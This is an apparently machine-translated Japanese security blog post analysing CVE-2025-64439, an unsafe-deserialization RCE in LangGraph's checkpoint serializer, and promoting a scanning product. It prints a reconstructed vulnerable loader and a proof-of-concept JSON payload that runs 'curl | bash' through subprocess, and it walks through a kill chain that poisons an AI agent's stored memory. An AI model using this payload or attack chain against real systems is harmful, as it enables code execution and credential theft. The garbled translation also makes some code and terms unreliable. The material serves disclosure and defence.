LangGraphのチェックポイント・シリアライザーにおけるクリティカルなRCEであるCVE-2025-64439(CVSS 9.8)の技術的解剖。JSONデシリアライズロジックの欠陥、AIエージェントのメモリを汚染するキルチェーン、AI主導の防御戦略を分析します。
2026年の建築の進化において、 エージェントAI は実験的なJupyterノートブックからミッションクリティカルな企業インフラへと移行した。次のようなフレームワークがある。 ラングラフ 開発者は、複雑なタスクを一時停止、再開、反復できるステートフルなマルチアクター・アプリケーションを構築することができる。
しかし、その開示は CVE-2025-64439 (CVSSスコア 9.8クリティカル)は、これらのエージェントを "賢く "するメカニズム、すなわち長期記憶に致命的な脆弱性があることを露呈している。
これは典型的なウェブの脆弱性ではない。これは サプライチェーン核オプション AIの永続層をターゲットにしている。欠陥は ランググラフ・チェックポイント 具体的には JsonPlusSerializer はデータ復旧を処理します。これを悪用することで、攻撃者は悪意のあるJSONペイロードをエージェントのステートストレージ(SQLiteやPostgresなど)に注入することができます。 リモートコード実行(RCE) システムがワークフローを再開するために以前の状態を「記憶」しようとする瞬間。
筋金入りのAIセキュリティー・エンジニアにとって、その意味するところは極めて大きい: 国家」は新しい「入力」である。 攻撃者がエージェントのシリアライズ履歴に影響を与えることができれば、推論サーバー上で任意のコードを実行することができる。この記事では、ソースコードを解剖し、この「メモリ・ポイズニング」キル・チェーンの仕組みを明らかにする。
脆弱性インテリジェンス・カード
| メートル | インテリジェンス詳細 |
|---|---|
| CVE識別子 | CVE-2025-64439 |
| ターゲット・コンポーネント | ランググラフ・チェックポイント (コア・ライブラリー ランググラフ・チェックポイント・SQLite |
| 影響を受けるバージョン | ランググラフ・チェックポイント < 3.0.0; ランググラフ・チェックポイント・SQLite <= 2.1.2 |
| 脆弱性クラス | RCEにつながる安全でないデシリアライズ(CWE-502) |
| CVSS v3.1スコア | 9.8(クリティカル) (av:n/ac:l/pr:n/ui:n/s:u/c:h/i:h/a:h) |
| 攻撃ベクトル | チェックポイントDBのポイズニング、状態遷移の中間者工作 |
テクニカル・ディープ・ダイブその JsonPlusSerializer トラップ
CVE-2025-64439を理解するには、LangGraphがどのように永続性を扱うかを理解する必要があります。ステートレスLLM呼び出しとは異なり、エージェントはスタック-変数値、会話履歴、実行ステップを保存する必要があります。これは チェックポイント.
LangGraphは msgpack を実装しています。しかし、AIワークフローにおけるPythonオブジェクトは複雑であることが多いため(カスタムクラス、Pydanticモデル)、堅牢なフォールバックメカニズムを実装しています: JSONモードが担当する。 JsonPlusSerializer.

1.致命的な「コンストラクタ」の論理
脆弱性はJSONを使うことにあるのではなく どのように LangGraphはJSONを拡張し、複雑なPython型をサポートします。JSONからPythonオブジェクトを再構築するために、シリアライザは "マジックキー "を含む特定のスキーマを探します:
lc:LangChain/LangGraphのバージョン識別子(例.2).タイプ:オブジェクトの型(具体的には文字列「コンストラクタ).アイドル:クラスまたは関数のモジュールパスを表すリスト。クワルグ:コンストラクタに渡す引数。
欠点: 影響を受けるバージョンでは、デシリアライザは アイドル フィールドを暗黙のうちに指定します。指定されたモジュールが "安全な "LangGraphコンポーネントなのか、危険なシステム・ライブラリなのかは検証しません。動的にモジュールをインポートし、与えられた引数でコンストラクタを実行します。
2.法医学的コードの再構築
パッチ分析に基づき、以下の脆弱なロジックが見つかった。 langgraph/checkpoint/serde/jsonplus.py 以下のパターンに似ている:
パイソン
`# 簡略化された脆弱なロジック def _load_constructor(value):# DANGEROUS: No allow-list check on 'id' # 'id' comes directly from the JSON payload module_path = value["id"][:-1] class_name = value["id"][-1] # 'id' はJSONペイロードから直接来る。
# 任意のモジュールの動的インポート
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)
# コンストラクタの実行
return cls(**value["kwargs"])`)
このロジックは、デシリアライザーを、悪名高いJavaの "Gadget Chain "に似た、一般的な "Gadget Chain "エクゼキューターに変える。 オブジェクト入力ストリーム しかし、ペイロードが人間が読めるJSONであるため、脆弱性を悪用しやすい。
キル・チェーンメモリーポイズニング
攻撃者は実際にどのようにしてこのJSONをシステムに取り込むのだろうか?攻撃対象は見た目よりも広い。
第1段階:注射(毒)
攻撃者はチェックポイントが保存されているデータベースに書き込む必要がある。
- シナリオA(直接投入): もしエージェントが、生でステートに保存されるユーザー入力を受け入れ(例えば、"Summarize this text: [MALICIOUS_JSON]")、アプリケーションのシリアライゼーションロジックに欠陥がある場合、ペイロードがDBに書き込まれる可能性があります。
- シナリオB(SQLインジェクション・ピボット): 攻撃者は、(CVE-2025-8709のような)深刻度の低いSQLインジェクションを使って
チェックポイントテーブルを直接SQLite/Postgresに挿入し、RCEペイロードをスレッドまたはステート・ブロブ。
フェーズ2:兵器化(ペイロード)
攻撃者は有効なLangGraphオブジェクトを模倣したJSONペイロードを構築するが、そのポイントは サブプロセス.
コンセプトPoCペイロード:
JSON
{ "lc": 2, "type":"constructor", "id":["subprocess", "check_output"], "kwargs":kwargs": { "args":["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true }.}
第3段階:爆発(再開)
このコードは、インジェクションされるとすぐに実行されるわけではありません。エージェント 読み物 国家である。
- ユーザー(または攻撃者)がエージェントにスレッドの再開をトリガーする(例:「前のタスクを続行」)。
- LangGraphはDBに最新のチェックポイントを問い合わせる。
- について
JsonPlusSerializerブロブを解析する。 - に遭遇する。
コンストラクタタイプだ。 - を輸入する。
サブプロセスそして実行するチェック出力. - RCE達成。
インパクト分析:AI頭脳強盗
LangGraphが稼働しているサーバーを危険にさらすことは、AIのワークロードの性質上、標準的なウェブサーバーを危険にさらすよりもかなり危険です。
- クレデンシャル・ハーベスティング: AI エージェントは、API キー (
OPENAI_API_KEY,anthropic_api_key,AWS_ACCESS_KEY).RCEは、以下を即座に利用できる。環境. - ベクターDBの流出: エージェントは多くの場合、Pinecone、Milvus、Weaviateへの読み書きアクセス権を持っている。攻撃者は独自の知識ベース(RAGデータ)をダンプすることができる。
- モデル体重感染: サーバーがローカルモデルをホストしている場合(例えばOllamaを使用)、攻撃者はモデルの重みを汚染したり、推論パイプラインを変更したりすることができる。
- 横の動き: LangGraphエージェントは以下のように設計されています。 事を為す-API の呼び出し、データベースへの問い合わせ、電子メールの送信。攻撃者は、エージェントに割り当てられたすべての権限とツールを継承します。
AIを活用したディフェンス過失の優位性
CVE-2025-64439の検出は、レガシーなDAST(ダイナミック・アプリケーション・セキュリティ・テスト)ツールにとっては悪夢だ。
- プロトコルの盲点: スキャナはHTMLフォームやURLパラメータを探します。彼らはPythonのAIフレームワークが使用する内部バイナリやJSONシリアライゼーションプロトコルを理解しません。
- 州の盲目: 脆弱性のトリガー 読むではない。 書く.スキャナーは、ペイロードを注入しても、すぐにエラーにならず、偽陰性を示すかもしれない。
そこで ペンリジェント は、AIアプリケーションセキュリティのパラダイムシフトを象徴しています。Penligentは ディープ・デペンデンシー分析とロジック・ファジング:
- フルスタックAIフィンガープリンティング
Penligentのエージェントはpip freezeの域を超えています。開発用と本番用のコンテナをスキャンして、langgraph、langchain-core、langgraph-checkpointの正確なハッシュバージョンを特定します。Dockerイメージの奥深くにネストされている場合でも、脆弱な依存関係のチェーンを認識し、許可リストのないJsonPlusSerializerの存在にフラグを立てます。
- シリアライズプロトコルのファジング
Penligent は "エージェントの言語" を理解します。lc=2や良性のコンストラクタ呼び出しのような)シリアライゼーションマーカーを含む特定のプロービングペイロードを生成することができます。
- 非破壊プローブ: リバースシェルの代わりに、Penligentは良性のDNSルックアップを引き起こすペイロードを注入する。
ソケット名). - 検証: もし、Penligent の OOB リスナーが、Agent の状態がロードされたときに DNS クエリを受信すれば、100% の確度で脆弱性が確認されます。
- 州店舗監査
Penligentは、AIエージェントが使用する永続層(SQLite/Postgres)に接続します。保存されたBlobをスキャンし、「Dormant Payloads」(デシリアライズされるのを待っている悪意のあるJSON構造)を検出することで、インシデントが発生する前にデータベースをサニタイズすることができます。

修復と硬化ハンドブック
LangGraphを使用している場合は、早急な改善が必要です。
1.アップグレードの依存関係 (修正)
アップグレード ランググラフ・チェックポイント バージョン 3.0.0 またはそれ以上であれば即座に。
- メカニズム 新しいバージョンでは、デフォルトでサポートされていた
コンストラクタ型を JSON シリアライゼーションで使用するか、デフォルトで空の厳格な許可リストを強制します。開発者は、シリアライズのために安全なクラスを明示的に登録する必要があります。
2.フォレンジック・データベースのクリーニング
もしあなたのシステムが暴露されたと疑われるなら、コードを修正するだけではだめで、データを消去しなければならない。
- アクション を反復するツールをスクリプト化する。
チェックポイントテーブルを解析します。すべてのJSONブロブを解析する。 - 署名 探す
{"type":"constructor", "id":[サブプロセス", ...]}。またはアイドル指し示すos,システムあるいはシャチル. - パージ これらの署名を含むスレッド/チェックポイントを削除する。
3.ネットワークとランタイムの分離
- エグレス・フィルタリング: AIエージェントは無制限にインターネットにアクセスできないようにする。リバースシェルを防ぐため、不明なIPへのアウトバウンド接続をブロックする。
- データベースの分離: チェックポイントを保存しているSQLiteファイルまたはPostgresインスタンスがパブリックインタフェースからアクセスできないことを確認してください。
- 最小の特権: シェルにアクセスできないユーザーでAgentサービスを実行する (
/bin/false)および厳密にスコープされたIAMロール。
結論
CVE-2025-64439 はAI業界に対する警鐘である。我々はますます自律的でステートフルなシステムを構築しているが、それは信頼という脆弱な基盤の上に構築されている。エージェントのメモリは変更可能で、武器になりうる表面である。
AGIに隣接するシステムに向かうにつれて、セキュリティ工学は進化しなければならない。我々は、"ユーザー入力 "を扱うのと同じ疑念を持って "状態 "を扱わなければならない。シリアライゼーション・ロジックの検証、依存関係の監査、PenligentのようなAIネイティブ・セキュリティ・ツールの採用は、もはやオプションではありません。

